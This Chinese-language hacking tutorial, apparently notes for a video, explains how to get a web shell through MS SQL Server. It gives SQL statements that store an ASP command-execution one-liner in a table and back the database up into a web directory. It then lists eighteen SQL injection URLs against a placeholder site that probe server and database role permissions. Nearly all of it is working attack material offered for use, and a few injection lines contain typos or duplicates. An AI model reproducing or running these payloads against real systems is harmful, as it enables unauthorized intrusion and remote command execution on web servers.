备份SQL数据库得到shell的方法：

    动画种这种备份的方法来源于n.e.v.e.r的发明

使用语句为：
use model
create table cmd (str image);
insert into cmd(str) values ('<%=server.createobject("wscript.shell").exec("cmd.exe /c "&request("c")).stdout.readall%>');
backup database model to disk='虚拟目录的实际物理目录';

 

这个方法对数据库角色的权限要求很低，应当有db_backupoperator权限就可以了。
附上判断数据库权限的语句：（1-8是服务器角色权限，9-18是数据库角色权限判断，具体什么权限你找本书看看吧。
语句1：http://www.xxxxx.com/down/list.asp?id=1　and　1=(SELECT IS_SRVROLEMEMBER('sysadmin'));--
语句2：http://www.xxxxx.com/down/list.asp?id=1　and　1=(SELECT IS_SRVROLEMEMBER('serveradmin'));--
语句3：http://www.xxxxx.com/down/list.asp?id=1　and　1=(SELECT IS_SRVROLEMEMBER('setupadmin'));--
语句4：http://www.xxxxx.com/down/list.asp?id=1　and　1=(SELECT IS_SRVROLEMEMBER('securityadmin'));--
语句5：http://www.xxxxx.com/down/list.asp?id=1　and　1=(SELECT IS_SRVROLEMEMBER('securityadmin'));--
语句6：http://www.xxxxx.com/down/list.asp?id=1　and　1=(SELECT IS_SRVROLEMEMBER('diskadmin'));--
语句7：http://www.xxxxx.com/down/list.asp?id=1　and　1=(SELECT IS_SRVROLEMEMBER('bulkadmin'));--
语句8：http://www.xxxxx.com/down/list.asp?id=1　and　1=(SELECT IS_SRVROLEMEMBER('bulkadmin'));--
语句9：http://www.xxxxx.com/down/list.asp?id=1　and　1=(SELECT IS_MEMBER('db_owner'));--
语句10：http://www.xxxxx.com/down/list.asp?id=1　and　1=(SELECT IS_MEMBER('db_accessadmin'));--
语句11：http://www.xxxxx.com/down/list.asp?id=1　and　1=(SELECT IS_MEMBER('db_addadmin'));--
语句12：http://www.xxxxx.com/down/list.asp?id=1　and　1=(SELECT IS_MEMBER('db_addladmin'));-- 
语句13：http://www.xxxxx.com/down/list.asp?id=1　and　1=(SELECT IS_MEMBER('db_securityadmin'));--
语句14：http://www.xxxxx.com/down/list.asp?id=1　and　1=(SELECT IS_MEMBER('db_backupoperator'));--
语句15：http://www.xxxxx.com/down/list.asp?id=1　and　1=(SELECT IS_MEMBER('db_datareader'));--
语句16：http://www.xxxxx.com/down/list.asp?id=1　and　1=(SELECT IS_MEMBER('db_datawriter'));--
语句17：http://www.xxxxx.com/down/list.asp?id=1　and　1=(SELECT IS_MEMBER('db_denydatareader'));--
语句18：http://www.xxxxx.com/down/list.asp?id=1　and　1=(SELECT IS_MEMBER('db_denydadawriter'));--     

动画结束语引用n.e.v.e.r的<<Backup a shell>>中的一段原话：
 “本来这也不是什么大不了的东西，但是我写了还没有贴出来的时候，有一天QQ上居然有人神神秘秘地把这篇文章传给了我，隔了不久又有人送了我一个这方面的工具！我好感动哦，5555555~
    我也不追问他们是哪里得来的了，我给过的就几个，总是这样子传出去的吧。反正大家都知道，也没有什么好保留的，于是在黑防四期上骗了点钱，过程就是这样。”

LCX来说两句，好像n.e.v.e.r对这事公开很生气，我再做个动画，哈哈。。。。
其实asp代码写在exe里改后缀也是可以执行的。。。。。